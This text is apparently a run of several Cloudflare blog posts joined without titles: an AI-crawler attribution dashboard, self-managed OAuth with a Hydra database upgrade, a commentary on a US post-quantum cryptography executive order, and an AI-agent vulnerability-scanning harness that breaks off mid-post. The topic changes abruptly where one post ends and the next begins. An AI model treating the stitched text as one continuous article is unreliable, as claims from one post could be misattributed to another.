Website owners fuel the ecosystem of ideas, news, and interesting tidbits, but they face the increasingly complex challenge of managing traffic to their websites and being paid for their content. While some bot traffic is clearly malicious, it isn’t always obvious when a particular AI crawler is helping or harming your business. To answer this, site owners need granular, reliable data to differentiate between traffic that provides value, and traffic that strains resources while eroding the foundation of their business model: actual humans consuming their content. 

At Cloudflare, we hold a core belief: website owners have the right to control access to their content. We want to help website owners maintain their high-quality content and regulate AI traffic.

To provide much-needed clarity and help website owners take control, we’re excited to announce the new Attribution Business Insights dashboard — designed with business decision-makers and publishers in mind.

For decades, the business model of the Internet relied on a straightforward, unspoken agreement: website owners allowed search engines to crawl their content and, in return, search engines sent readers back to their pages. This symbiotic relationship, where traditional search engines operated with a balanced "crawl-to-referral" ratio, generated the pageviews needed to sustain advertising, affiliate revenue, and subscriptions. Search index crawlers would scan your content a couple of times for each referral sent, so making your website available to crawlers had a clear pipeline to additional revenue. We can think of this as the SEO (Search Engine Optimization) era.

Today, the explosive rise of AI crawlers and agents has broken this contract, plunging the digital publishing industry into an unprecedented crisis. The Internet is risking a transition into a "zero-click" ecosystem where AI chatbots scrape original content to synthesize instant answers — completely bypassing the original sources. We’ve already seen a marked shift from the SEO-only world into an AEO (Answer Engine Optimization) world, and now conversations around GEO (Generative Engine Optimization) are taking center stage.

The imbalance of this new reality is made clear by the crawl-to-referral ratios we see across the Internet today. While traditional search engines had a more balanced ratio of crawls to legitimate visitors referred, major AI crawlers operate on a drastically different, extractive scale. Bots from leading AI companies have been observed with a range of crawl-to-referral ratios: we noted ratios of 118:1 up to nearly 50,000:1 around the time of our Content Independence Day in 2025. In other words, an AI crawler might have crawled your premium content tens of thousands of times just to send back a single visitor. This ratio is fundamentally unfair.

For publishers, this creates a double hit: first, they’re losing out on the crucial referral traffic, ad impressions, and direct audience relationships that fund content creation and journalism. Second, they’re forced to bear the rising infrastructure costs of hosting and serving content to automated bots that offer no commercial value in return. The era in which it makes sense to allow all crawlers in the hopes of being discovered is over.

We want website owners to have the facts — the cold, hard numbers to understand which bots are helping their business and which bots are harming it. We also want to make this analysis easier than ever, which is why we’ve designed Attribution Business Insights to cut the noise, focusing on the details that our customers have told us are most important. 

Today, the Attribution Business Insights dashboard is available to all Cloudflare Bot Management customers. The new dashboard is designed to deliver a targeted view of bot traffic flowing to your website; unlike traditional analytics tools that may require extensive manual filtering, this dashboard provides you with key insights right away.

We set out to answer the most pressing questions for site owners today: How should you think about AI traffic on your websites? What is the value of different audiences — including humans, non-AI bots, and AI bots? And most importantly, what is your data being used for? 

^{The new Attribution Business Insights dashboard view, which includes insights about bot traffic overall, a site-wide crawl-to-referral ratio, and the distribution of AI bot traffic vs. organic traffic.} 

To answer these questions, the dashboard displays a powerful array of data and insights:

• Bot traffic to content pages: View your overall bot vs. human traffic, as well as the volume of all bots successfully accessing content.

• Crawl-to-referral ratios: See your site-wide crawl-to-referral ratio on the scale of 24 hours, seven days, or 30 days. You can also see crawl-to-referral ratios per bot operator (per company that owns one or more bots).

• Top bots breakdown: A list of top bots by volume, including their country of origin, bandwidth they take up on your website, and whether you’re currently blocking or allowing them.

• Updated classification based on crawler behavior: We go beyond a generic label of “AI Crawler” by classifying crawlers with our updated taxonomy, whether it’s Training (i.e., training the next version of an LLM chatbot), Search (i.e., refreshing databases for Retrieval-Augmented Generation), or Agent (i.e., used in agentic interaction to return answers to an end user).  

You shouldn’t have to be a security expert to understand how AI crawlers affect your business. If website owners want to spend just a few minutes ingesting the high-level insights, they can walk away with a clear temperature check of the effectiveness of their content security policy.

For those who want to do a little more digging to understand how AI companies are making use of their content — or collect information to guide how they want their relationships with AI companies to develop — we show a more granular view organized by bot operator.

^{Breakdown of bot activity on a website, with important details for each bot such as type, crawl-to-referral ratio, and current action.} 

By having a consolidated view of companies seeking to access content on your website, you can develop a better baseline of crawler activity. We want this data to equip our customers to step into any business conversation with the facts on their side. Tell Company1 that their crawl volume is twenty times that of Company4’s, and that Company4 is already compensating you for content. Revisit the way that Company2 licenses your content based on their recent activity. This new dashboard propels business conversations to move forward. 

How does this new layer of visibility tie into the existing tools you have to protect your website from abuse? In line with other features of Bot Management, the action step still happens in Security rules. To avoid adding noise to the control plane, Attribution Business Insights is intended to be a hub for thoughtful, filtered analytics, rather than another place to take action. This dashboard serves as a central source of information, allowing you to investigate before then taking an action in the same rule engine that governs other abuse mitigations. We also want to be loud and clear about inviting business decision-makers into this dashboard, acknowledging that conversations around AI traffic have a wider set of stakeholders than only security-specialized users.

The Attribution Business Insights dashboard is the next critical step in providing website owners with the transparency and control they need to manage evolving AI bot threats, and more broadly, shape the new dynamics of the Internet. We’re already investigating the next iteration with close publishing partners to create a visibility plane that covers security from the perspective of the website owner with valuable, original content to share. 

A sneak preview below includes a new view to dissect crawler activity per-article to reveal the appetite that AI companies have for different pieces of content, different campaigns, and so on.

^{Breakdown of most popular articles, according to traffic volume. Shows key metrics such as AI bot traffic vs. other bot traffic vs. human traffic, both direct and from a referral.}  

Visibility is the first piece, and there’s more to come to empower website owners to take control of their content in this new age. We encourage all customers of Cloudflare Bot Management — especially those driving business conversations — to access this today for a fresh take on analytics. 

Cloudflare isn’t new to OAuth. If you’ve used Wrangler, or used integrations from partners like PlanetScale, then you’ve already used it. However, until now, third-party OAuth was only available through a small number of manually onboarded integrations, and was not available to developers more broadly. That meant developers building their own integrations had to rely on API tokens, which are harder to manage and a poor fit for many delegated application flows. 

Over the last year, we onboarded a growing number of early partners while improving the consent, revocation, and security model behind Cloudflare OAuth. But as our Developer Platform grew and agentic tools drove demand for delegated access, it became clear that opening up OAuth to all customers was critical to the success of our platform. 

With self-managed OAuth, developers can now offer a standard OAuth flow where customers grant scoped access directly, making it easier to build SaaS integrations, internal developer platforms, and agentic tools while giving users clearer consent, easier revocation, and more control over what an application can do.

While our earlier OAuth solution was sufficient for a small number of carefully managed partners, we realized that our permissions model, our consent experience, and our ways of mitigating potential abuse vectors were not mature enough. 

Earlier this year we updated our consent experience to make it clearer which application is requesting access, and what permissions it will receive. We also added revocation to the dashboard so developers can easily control which applications have access to their data, and made app ownership more visible to prevent OAuth phishing attacks. 

Opening self-managed OAuth to all customers also required major upgrades to our underlying OAuth engine. This process required a large amount of planning to do with minimal user interruption, while also ensuring data stability and security.

Years ago, we deployed Hydra, an open-source OAuth engine, to power Cloudflare OAuth under the hood. That deployment served us well when usage was limited, but as the developer platform grew and agentic workflows became more common, it became clear that we needed a major upgrade to unlock new capabilities and improve performance. 

As we planned the upgrade, we decided to do two smaller sequential upgrades rather than doing one large upgrade.  First, we would move to the latest 1.X release, evaluate any behavior or performance changes, and then proceed with the 2.X upgrade.

During our upgrade planning, it became clear that even the 1.X upgrade would still impact customers because the Hydra database required extensive schema migrations that:

1. Created indexes in a manner that would claim an exclusive lock on critical tables, preventing active users from performing important OAuth operations 

2. Added columns to critical tables, and moved other columns to new tables

There was also a quirk in the version of Hydra we were using in which the SDK would perform SELECT * operations, causing deserialization issues with the schema changes.

To prevent user impact, we rewrote the SQL migrations to use features such as CREATE INDEX CONCURRENTLY, and built a custom version of Hydra which selected explicit columns rather than SELECT *.

With the latest 1.X upgrade planned out, we now needed to create a plan for the even larger 2.X upgrade. We identified three potential options, and weighed the benefits and drawbacks of each one. Doing an in-place upgrade was not going to work for us, due to the sheer amount of schema changes the major version bump brought with it. We decided that a blue-green strategy would work, but there was more that needed to be done than simply flipping a switch to start using the new version. The upgrade and migration process would take multiple hours, and we needed the system to continue functioning correctly in that time window.

The first blue-green option would involve disabling writes to the database, preventing any new authorizations from occurring. This means they would not be lost in the transition, but it also meant that nobody would be able to use existing OAuth apps unless they already had a valid credential. It also presented another large problem: if users needed to revoke access from an application for any reason, it would not be possible while the upgrade was being performed.

To combat these issues, we came up with a way to leave writes to the database enabled, at the cost of losing some of them in the switch to the green version. The first thing to solve was minimizing the number of writes for new tokens. There was an operational lever we pulled: increasing the expiry time of tokens to multiple hours. This would allow apps that received new tokens before the upgrade to continue using them without needing to refresh.

With reducing writes solved, we needed to come up with a way to not lose any revocations our users performed during the upgrade window. To do this, we created a queue system (using Cloudflare Queues!) which, after a revocation event, would have a record written into the queue with information about that revocation. This would allow us to drain the queue with the database flipped to the green version, replaying all revocation events that took place in the time window in which they would have been lost. This was critical to get right, otherwise applications that users had revoked would inadvertently have their access restored.

From an operational point of view, our first upgrade to the last 1.X release went off without any hitches. Our custom database migrations ran faster than we expected, with no user impact. We had to do a hard cutover to the new version because the old version was unable to introspect tokens that were created by the newer version.

After the cutover, we saw an increase in refresh token errors that we had not seen before. This ended up being due to stricter refresh invalidation behaviors in the new version; if a refresh token was reused, Hydra would invalidate the whole access and refresh token chain. This is problematic for Wrangler and MCP clients. These clients both have a high request volume, and a single reused refresh token would invalidate the entire session.

We mitigated this by adding refresh token coalescing behavior to our Worker which routes OAuth traffic to the correct destination. This allowed us to briefly cache the refresh token request before it reached Hydra, so that if we detected a retry we could short-circuit the request and respond without invalidating the tokens. Fortunately, 2.X versions of Hydra have a configurable “refresh token grace period”, which resolves this by allowing a refresh token to be retried for a period of time without invalidating the whole chain.

Since multiple hours of high user-facing impact would not be acceptable, we had our blue-green upgrade strategy set. At a high level, this sounds simple; the migrations would run on a copy of our production database, and then cut over along with the new Hydra version after they complete. In reality, there were a lot more moving parts:

• Enable revocation replay capture queue

• Copy and restore our database to the new target

• Targeted data cleanup — existing data violated some new constraints introduced in the newer versions, which could prevent migrations from succeeding

• Perform cutovers on the Hydra service along with two additional critical internal systems simultaneously to prevent any errors

• Post-cutover monitoring and validation

We chose an upgrade window when Hydra had the lowest request volume per second to minimize lost token writes. Other than some timeout tuning, our production migrations ran well against the new database: the net runtime in production was approximately three hours. After the migrations completed, we carefully rolled out the new version of the Hydra service, along with two additional system configs to flip our systems to use the new SDK version.

Shortly after cutting traffic over, we observed that a data cleanup job in our authorization service (which relies on the Hydra consent session API) was being overeager in its purging of OAuth policy data. After investigation, we discovered that there was an issue in one of the Hydra migrations that corrupted the state of certain valid OAuth sessions, which resulted in the migration marking them as invalid. The valid sessions being corrupted caused a disagreement between Hydra and our authorization service, manifesting as an increase in 403s. To mitigate this, we did data restorations and began work on improvements for OAuth authorization behaviors to remove reliance on static policy data.

Beyond the data cleanup issue, there were some additional small fixes more driven by specific client behaviors which we landed quickly. 

With the Hydra version upgrade complete, OAuth traffic has remained stable with improved system performance and reliability for our customers. It also brought production onto the same foundation our newer OAuth APIs had already been validated against in staging, clearing the way for our self-managed OAuth release on June 3. 

After completing a large upgrade like this, it is always rewarding and illuminating to look at some broad metrics about the impact. We gathered additional metrics during the database migrations, and observed considerable performance improvements after the upgrade was complete.

Opening up OAuth to all customers is an important step toward a broader Cloudflare app ecosystem. Today, any Cloudflare customer can create their own OAuth applications and build integrations on top of Cloudflare. We’re extremely excited to launch Cloudflare self-managed OAuth for all. 

To get started, take a look at our documentation or jump straight to the OAuth apps page in the dashboard and create your first OAuth app.

We welcome this executive order. The U.S. government has a long track record of using federal leadership and procurement to drive adoption of new technologies across the broader industry. We've seen this work with IPv6, with routing security and the Resource Public Key Infrastructure (RPKI), and with DNSSEC, and we’re glad to see this tradition continue with post-quantum cryptography.

The EO is especially important at this moment because the timeline for Q-Day, the day that quantum computers can break the public-key cryptography used across the Internet, has been accelerated. In April 2026, Cloudflare moved our own target for full post-quantum security to 2029, following research breakthroughs from Google and Oratomic. This EO updates guidance from 2024, when the National Institute of Standards and Technology (NIST) stated that the classical public key cryptography used across the Internet (namely RSA and Elliptic Curve Cryptography, which can be broken once powerful quantum computers become available) should be deprecated by 2030 and disallowed by 2035. 

The Internet’s transition to post-quantum encryption is well underway, while the transition to post-quantum authentication has only just begun. Today, over two-thirds of browser traffic to Cloudflare's network is protected with post-quantum encryption, and most of our products support post-quantum key agreement. Our SASE platform, Cloudflare One, provides post-quantum encryption across all major on-ramps and off-ramps, including TLS, MASQUE, and IPsec. We've recently started deploying post-quantum authentication and aim to be fully post-quantum secure by 2029. The EO is an excellent foundation and builds on work from the previous two Administrations. We've been doing the work the EO is asking federal agencies to do since 2019, we have some thoughts on what the order gets right, we see opportunities for the Office of Management and Budget (OMB) to strengthen and facilitate cost-effective agency migration, and we provide a roadmap for how organizations and agencies can advance their transition most effectively.

The bulk of the EO's binding requirements are aimed at two categories of federal systems: High Value Assets (HVAs) and high impact systems. HVAs are federal information or systems designated by OMB as the government's crown jewels: systems whose compromise would significantly affect national security, foreign relations, or public confidence. These include databases that hold millions of federal employee records, systems that process classified intelligence, or platforms that manage federal financial transactions. Meanwhile, high impact systems are those where confidentiality, integrity, or availability is rated "high" under FIPS 199, meaning a breach could cause severe harm including loss of life, major financial damage, or significant degradation of an agency's ability to carry out its mission.

The EO has the power to bind federal agencies, but not other organizations (i.e., critical infrastructure, state, local, tribal and territorial governments, academia, civil society). That’s why the EO only gives these deadlines to federal agencies:

National Security Systems are explicitly excluded from these deadlines. They are on a separate, classified track managed by the NSA with deadlines between 2030 and 2033 already set in 2022.

The EO splits the PQC migration into two phases: post-quantum key establishment (encryption) by 2030, and post-quantum digital signatures and certificates (authentication) by 2031. This accurately reflects the availability of post-quantum encryption across the Internet today. Our own deadline for full post-quantum readiness (including authentication) is 2029, but we are amongst the earliest adopters in the industry. 

We are also happy to see the EO focusing on NIST-standardized post-quantum cryptographic algorithms and not Quantum Key Distribution (QKD), since QKD does not operate at Internet scale due to its need for specialized hardware and dedicated physical links between sender and receiver.  

Now let’s have a deeper look at the two migrations called for and required in the EO: post-quantum encryption and post-quantum authentication.

Post-quantum encryption is needed today to stop harvest-now-decrypt-later attacks, where an adversary collects encrypted traffic today and decrypts it later once quantum computers are powerful enough. Post-quantum encryption is especially valuable for organizations handling data that will still have value to adversaries 3-10 years from now, like government agencies, banks, healthcare organizations, defense contractors, and telecom providers.

Post-quantum authentication stops an adversary that has a quantum computer from forging certificates to impersonate servers, generating malicious code signatures, or gaining unauthorized access to systems.  Post-quantum authentication is needed only after Q-Day risk materializes, because it stops attacks that are possible only once a cryptographically-relevant quantum computer (CRQC) exists.

It’s important to put the migration timelines in context with advancements in quantum computing. In addition to yesterday’s EO on post-quantum security, President Trump also signed an EO to accelerate deployment and commercialization of quantum computing, sensing, and networking. The fact that the EO sets a 2031 deadline for post-quantum authentication tells us something important: the U.S. government believes there is a non-negligible chance that a CRQC could be operational around that time.

What about the state of these two technologies? The migration to post-quantum authentication is a bigger challenge than post-quantum encryption for a few reasons, including:

• Post-quantum ML-DSA digital signatures are larger than classic digital signatures, which could have an impact on performance of some systems, for instance in short-lived TLS connections. That’s why we are working with Google Chrome on Merkle Tree Certificates to solve the performance problem for TLS. 

• The dependency chain for post-quantum authentication is longer, requiring coordinated upgrades across clients, servers, certificate authorities, certificate transparency logs, root stores, and browsers. 

• There is only limited ecosystem deployment of post-quantum authentication so far, as compared to the much broader deployment of post-quantum encryption.

It is interesting that the EO sets a one-year gap between the encryption and authentication deadlines. One extra year of calendar time is tight, so this work cannot proceed sequentially. The ecosystem needs to start working on both of these targets concurrently, or we will miss this 2031 deadline. 

Cryptographic deployment across the Internet cannot happen without standards developed by the Internet Engineering Task Force (IETF). They are working to transition their protocols to post-quantum cryptography.  The TLS community is ahead, with the IETF PLANTS working group making good progress on post-quantum certificates for TLS. There is much work to do here, and we look forward to supporting the IETF in its efforts. 

The EO includes requirements for federal contractors, which may turn out to be the most impactful part of the EO. 

Namely, the FAR Council must publish proposed rules requiring "covered contractors" to comply with NIST FIPS incorporating PQC algorithms by December 31, 2030 (Sec. 6(c)). The FAR Council must also publish proposed rules requiring contractors to implement vulnerability disclosure programs that cover cryptographic vulnerabilities (Sec. 6(d)). These proposed rules need to go through notice-and-comment rulemaking, but the EO has a December 31, 2030, target which is still important. This deadline is one year earlier than federal agencies are required to complete their post-quantum authentication migration, so that federal contractors will be ready before agencies hit their own deadlines.

Federal agencies can only migrate to PQC if the products they buy support PQC. To put this into practice, CISA released its Product Categories for Technologies That Use Post-Quantum Cryptography Standards, drawing a clear line between technologies where PQC is already "widely available" versus those still "transitioning." The "widely available" list includes cloud platforms (IaaS, PaaS), web browsers and servers, chat and messaging software, and endpoint security products like full disk encryption. For these categories, CISA's guidance is clear: organizations should procure only PQC-capable products. The "transitioning" list, where PQC is not yet widely available, includes networking hardware (routers, firewalls, switches), identity and access management systems (HSMs, certificate authorities, identity providers), email servers and clients, and database systems.

By telling contractors their products must be PQC-compliant by 2030, and directing agencies to immediately favor PQC-capable vendors in mature markets, the federal framework forces the vendor ecosystem to ship PQC-capable products on a fixed timeline. Products that vendors build to federal requirements will end up used by hospitals, banks, universities, and small businesses, which makes PQC support more broadly available. Cloudflare is among the many vendors subject to these requirements, and because networking software and cloud services are already designated by CISA as widely available PQC categories, we've already shipped post-quantum encryption across most of our products at no extra cost. 

The EO also speaks to critical infrastructure: energy, financial services, water, transportation, telecommunications, healthcare, and other systems whose failure would have a serious or significant impact on the country. While the EO has no hard migration deadline for critical infrastructure owners and operators, the EO directs certain federal agencies to "assist" critical infrastructure owners and operators with their PQC migration plans (Sec. 5(a)).

While the EO focuses mostly on federal agencies and critical infrastructure in the U.S., post-quantum cryptography is important to every Internet-connected individual and organization. Harvest-now-decrypt-later attacks are a risk today. And after Q-Day, the risk of unauthorized access by an adversary armed with a quantum computer will impact any organization, big or small. When we launched free universal SSL in 2014, our CEO Matthew Prince wrote:

Having cutting-edge encryption may not seem important to a small blog, but it is critical to advancing the encrypted-by-default future of the Internet. Every byte, however seemingly mundane, that flows encrypted across the Internet makes it more difficult for those who wish to intercept, throttle, or censor the web.

We feel the same way about post-quantum cryptography. That’s why every post-quantum upgrade we build is available to all customers, on every plan, at no additional cost.

The EO sets the direction, and now OMB has 90 days to provide important clarifications and operational guidance to achieve the most effective PQC migration across federal agencies (Sec. 4(b)). Based on what we've learned from our own PQC migration, here are a few elements that we suggest that guidance should include:

Define what it means to “transition.” The EO requires agencies to "transition" their systems to PQC, but it never defines what "transition" means. Does it mean the system supports PQC algorithms? That it prefers them? Or that classical cryptography has been disabled entirely?

These are very different security postures. A system that supports ML-KEM but still allows a classical-only TLS handshake is vulnerable to downgrade attacks. An adversary capable of intercepting traffic could force the connection back to classical key exchange. The system would have "transitioned" to PQC in name, but still be vulnerable to the same quantum attacks the order is trying to prevent.

History is instructive. When SSLv3 was deprecated after the POODLE attack in 2014, servers kept SSLv3 enabled for backwards compatibility, allowing attackers to force connections to downgrade and then exploit SSLv3's weaknesses. It took years for the ecosystem to actually turn SSLv3 off. To avoid repeating this pattern, we need a clear definition of “done” that includes disabling quantum-vulnerable cryptography to prevent downgrades.

Crypto agility: Crypto agility is the ability to swap cryptographic algorithms without re-architecting your systems. The EO mandates migrating to specific NIST crypto standards, but says nothing about building systems that can swap cryptographic algorithms if these algorithms need to change in the future. Crypto agility doesn't mean supporting every algorithm at once. It means building systems so that when the community converges on a better algorithm in the future, the upgrade is a configuration change, not a re-architecture. The OMB should include this in its guidance.

CBOM or quantum impact inventory? The EO directs CISA and NIST to publish guidance on the minimum elements for a cryptographic bill of materials (CBOM) within 270 days (Sec. 5(d)). A CBOM is an inventory of the cryptographic algorithms, protocols, and implementations used in a given hardware or software product, similar to a software bill of materials (SBOM).

In theory, CBOMs are a good idea. In practice, we'd caution against treating exhaustive cryptographic inventories as a prerequisite for action. A detailed CBOM of every algorithm in every library in every product takes a long time to produce, it can take federal agencies an entire procurement cycle of discovery tooling and consulting, and it potentially becomes stale by the time the inventory is complete. Also, a CBOM doesn’t list systems that should be using cryptography but are not. And a CBOM lists keys without an understanding of their purpose, making them less useful for organizations trying to understand the risk associated with a quantum-vulnerable key.

We think that a quantum impact inventory is a more productive framing. What would be the impact if the system or its data is compromised? How likely is that to happen? What measures can be taken to mitigate the risk, whether a drop-in replacement, a software update, or a compensating control like tunneling traffic over bulk post-quantum connection or isolating it from the Internet? How feasible is each option and what dependency chain does it create? Identifying these informs where to take action first. You can fill in the details of a full CBOM over time if that makes sense for your organization, but you should start by discovering your most exposed and impactful systems.

Making post-quantum cryptography affordable to all. True national resilience fails if post-quantum cryptography is treated as a gated luxury rather than a universal baseline. OMB policy must resist vendor lock-in or toll booths that leave underfunded critical infrastructure behind or increase technical debt at federal agencies. 

You do not have to wait for 2030 or an exhaustive cryptographic inventory to start your migration. History has shown that updating cryptography is hard and can take a long time; other organizations should start sorting out their migrations as well. So as we wait for OMB guidance for federal agencies, here’s what we recommend for all organizations:

Protect your Internet traffic now. Start with traffic that crosses the public Internet, because that is the easiest for adversaries to harvest now and the most immediately at risk. If your web traffic flows through Cloudflare, your connections are largely protected with post-quantum encryption. If your enterprise network uses Cloudflare One, your private network traffic is also protected. If your provider doesn't support post-quantum encryption, switch to one that does. Even if the individual applications running inside your network haven't been upgraded yet, start tunneling your traffic through post-quantum encrypted infrastructure to protect it in bulk, even if individual systems are not yet inventoried and upgraded.

Update procurement. Make "post-quantum encryption by default, at no additional cost, with a clear roadmap for post-quantum authentication and crypto agility" a requirement in every technology procurement. If your vendor charges extra for post-quantum security or doesn't have a roadmap or plan, ask why or find another vendor.

Quantum impact inventory. For traffic that stays inside your private network perimeter and is not exposed to the public Internet, the harvest-now-decrypt-later risk is lower because an adversary would need to be on your network to capture it. But you still need to know what cryptography your internal systems use, so you can plan your migration. Use a quantum impact inventory as a tool to prioritize your efforts, for example focusing on systems or connections that handle sensitive data or are exposed on the public Internet. 

Plan for authentication now. The 2031 deadline for post-quantum authentication will come faster than you think. Start identifying your long-lived keys, root certificates, and code-signing infrastructure. These are the highest-priority targets for a quantum attacker, and they have the longest dependency chains to upgrade. Now is a great time to update your software libraries and automate certificate provisioning even if post-quantum certificates are not yet available in your ecosystem. And make sure your vendors are planning to be ready for the looming post-quantum authentication deadline.

At the same time, work should also start now on aligning global government policy with international standards. We were glad to see that Section 5(b) directs the State Department to engage foreign governments and industry groups to encourage adoption of NIST-standardized PQC algorithms. 

Here’s why this matters. Cryptography migrations cannot be run in a vacuum, with each country operating within its own borders. A TLS connection between a U.S. person and a server abroad only works if both ends negotiate the same cryptography. NIST has been running open international cryptographic competitions for decades. The AES competition (1997-2001) produced the encryption standard used across the Internet today, selecting a cipher designed by Belgian cryptographers. The SHA-3 competition (2007-2012) produced the latest hash standard, selecting an algorithm designed by a Belgian-Italian team. The PQC competition (2016-2024) followed the same open model: anyone could submit, anyone could analyze, and the winning algorithms were designed by international teams. ML-KEM, the key agreement standard now being deployed across the Internet, was created largely by European cryptographers. These are open, internationally vetted algorithms. NIST organized the competitions, but the results belong to the global cryptographic community. 

The risk ahead is fragmentation. If different jurisdictions mandate different algorithms, the result is cipher bloat and increased attack surface: more code to write, test, and audit, more surface for downgrade attacks, and slower deployment for everyone. We've seen this happen firsthand in IPsec, where the lack of an interoperable standard led vendors to ship proprietary PQ key agreement algorithms that couldn’t interoperate, delaying the migration by years. The TLS community went the opposite way, converging on a single hybrid key agreement (X25519MLKEM768), and deployment followed quickly.

We are big fans of NIST, and especially its leadership in vetting standards globally and standardizing cryptography worldwide. We encourage the Trump Administration to work with Congress to ensure that NIST has appropriate resources, staffing, and tooling to meet current and emerging deliverables in this EO and others, like America's AI Action Plan.

We'd like to see State Department-led engagement drive real alignment: adoption of the same NIST algorithms across allied nations, alignment on timelines, and mutual recognition of cryptographic algorithms and modules. The Internet is one network, and its cryptography should be one standard.

As a final note, the EO directs NIST to revise the processes used by the Cryptographic Module Validation Program (CMVP) to accelerate validations of cryptographic modules (Sec. 6(b)). Having bumped up against the CMVP program for years, we are extremely happy to see this in the order.

CMVP exists for a good reason. Federal agencies and their contractors need a way to verify that the cryptography inside a product actually does what it claims: that AES is implemented correctly or that random number generators have enough entropy. CMVP has been tuned for a steady state where cryptography doesn’t change much.

Going forward, CMVP needs to be adjusted to accept the realities of the impending migration. We welcome the FedRAMP update stream that allows updated modules to be used immediately before final validation. This allows faster adoption of post-quantum cryptography, and correction of implementation errors that were missed in validation. Similar allowances for CMVP are essential.

This post-quantum EO is a meaningful step. It sets real deadlines and creates supply chain pressure that will accelerate adoption across the industry. 

For organizations starting their own migration, we suggest you start by protecting your public Internet traffic along with updates to your procurement requirements, followed by a quantum impact inventory to figure out where to focus next. Do not let cryptography inventory slow you down from deploying post-quantum encryption across your most sensitive systems immediately. 

Cryptographic deployment across the Internet depends on standards developed by the IETF. The TLS community is further along, but there is lots more work to do across other protocol communities, and we look forward to supporting those efforts.

Let us go forth and PQ all the things, quickly and together. Free TLS helped encrypt the web. Free post-quantum cryptography will help secure it for what comes next.

You can get started now on Cloudflare by visiting our PQC page.

A few weeks ago, we published our initial findings from Project Glasswing, looking at what happens when you point frontier security models at an enterprise codebase. We also explored how our defensive structures adapt to protect our infrastructure and customers from threats posed by frontier AI. Since then, the AI ecosystem has continued to shift rapidly — developers who've built tightly around a single model have already experienced what happens when that model is no longer available or gets superseded by a more capable one. These market shifts only reinforce our core thesis: no matter which underlying model is leading the pack on any given day, the future of agentic workflows will not be found in standalone models, prompts, or single-agent sessions.

Moving from a localized security "skill" to a continuous, fleet-wide scanning pipeline requires an architecture where models are treated as interchangeable components. Relying on a single model inherently limits defensive coverage, as the same system will tend to look at code paths through the exact same lens. To counter this, models should be frequently interchanged and cross-tested. By varying the models across the pipeline — such as using one model for initial discovery and an entirely different one for validation — we can ensure that vulnerabilities are cross-checked by distinct sets of logic. Furthermore, a true enterprise-scale harness must look beyond isolated repositories to trace vulnerabilities across cross-repo dependencies, ultimately filtering thousands of raw candidates down to a trusted, triaged queue of actionable fixes.

This post serves as a practical look at how to build that model-agnostic layer, focusing on how we manage state controls, eliminate false positives, and coordinate end-to-end triage at scale.

The first post made the case for why generic coding agents can't do this job. The main issue is that agents only hold one hypothesis at a time, fill their context window after covering a sliver of a real repo, and then lose information during context compaction. For more details, read that post.

Before we move forward, we would like to answer two likely questions.

"Why not use subagents instead of a harness?" Subagents are useful, and they are a good starting point. But security analysis needs hundreds of separate investigations that survive across runs, don't share a context window, and can be re-scoped and cross-referenced later. It needs persistence, deduplication, resumability, and eventually fleet-wide dependency tracing. That's an orchestration problem, and a prompt can't get you there.

"Is this blog post just an ad for frontier models?" No. Our approach centers on the harness, not the model. When it comes to vulnerability discovery, we run it with whatever frontier model is currently best at what we need. When we point different models at the same target, they each turn up a different share of the bugs. The harness is the bit that lasts. If you build your own system, design it to be model-agnostic from day one. This will allow you the freedom to use any model of choice without constraints.

We started with a ~450-line security-audit skill that we ran on a single repository, and adjusted the prompts until we surfaced real bugs. Later, we added the orchestration that became the plumbing of the entire system. The real value lives in the prompts themselves, and our prompts continue to carry the initial skill's attacker scenarios, bug classes, and anti-pattern detections nearly unchanged.

The skill was written to run a 7-phase audit in one session:

• Three parallel research agents do recon and write an architecture.md.

• One Hunter agent runs per class attack, trying to break the code rather than review it.

• Adversarial validators try to disprove each finding.

• The survivors are written up as a human-readable vulnerability report.

• They're also emitted as findings.json against a schema, and a mechanical check validates that file.

• Finally, a fresh agent independently re-verifies every finding against the source.

• The surviving, re-verified findings are submitted to the ingest API.

That first skill maps almost directly onto the later harness:

The skill worked, but it quickly revealed its limits. Looking at the coverage metrics, a single run finds only about half the bugs you'd catch across multiple runs. In our experience the ones it did find skewed toward the simpler and less subtle. Once your process is basically "run it ten times and diff by hand," you probably need to start looking at a real harness.

While running and fine-tuning the skill, we ran into three walls: 

• Context exhaustion: An hour in, the context window fills up and the model will cannibalize its own memory, instantly forgetting the bugs it spent all morning tracking down. We broke this bottleneck by externalizing the state entirely, treating the LLM as a stateless compute engine. 

• Persistence: A crash mid-run means starting over. Losing hours of work to one AI rate-limit error or connection flakiness is an incredibly expensive way to realize you need a better architecture. 

• Cross-repo reasoning: A single repo session is completely blind to the relationships between applications that consume it, and the number of bugs that surface when you inspect the interface between components is probably more than one might expect.

Most AI security write-ups in this space are about a single repo or a curated benchmark; running a whole fleet this way, with cross-repo tracing, isn't something we've seen written up elsewhere. Our codebase spans a massive mix of languages — Rust, Go, C, Lua, TypeScript and Python, alongside various configuration management systems, static configs, and all sorts of additional context. So we had to come up with something new that worked for us. Going from that first slash-command run to a fleet scanner that could cover 128 distinct repos, automatically finding and interrogating relevant dependencies, took about six weeks. Codification was mostly mechanical: we lifted each phase of the skill into its own agent, put a database behind it and an orchestrator in front. The mapping was almost one-to-one.

The entire fleet runs on one unified harness with no per-language tuning and traces the dependencies between repos. While offloading syntax to a model makes the system language-agnostic, the differentiator is its ability to trace dependencies between repos. The harness itself doesn’t care if it’s looking at C pointers or a TypeScript file; it focuses on the higher-level logic of security orchestration. This allows us to scale across hundreds of different codebases, without having to write custom language parsing. 

Our entire vulnerability research workflow is built on a two-stage operational framework: the Vulnerability Discovery Harness (VDH) and the Vulnerability Validation System (VVS).

The VDH functions as our discovery engine, proactively scanning codebases to surface potential security issues. Once bugs enter the VVS, which allows multiple harnesses to feed into it, they go through stages of Deduplication, Judgment, and finally Fixing, as we’ll talk about later.

We use one model for VDH, but we use a completely different model for VVS, so the models are effectively double-checking each other. There is an obvious security benefit to this: by forcing Model B (VVS) to judge the output of Model A (VDH), you ensure that the finding is evaluated by an entirely different set of logical weights and training data — one that acts as an unbiased, adversarial third party whose sole job is to ruthlessly stress-test Model A's assumptions.  And operationally, we benefit from treating model providers like interchangeable commodities. Model providers can change temperature, caching, and inference effort budgets over time, even within one model version. Instead of building a system that depends on a model behaving predictably over time, our harness is built to absorb downstream volatility without breaking.

The first post covered what each agent/stage is for, so we'll talk about the parts it didn't: the glue between stages, and the handful of details that decide whether any of it works.

^{Table 1: Vulnerability Discovery Harness (VDH)}

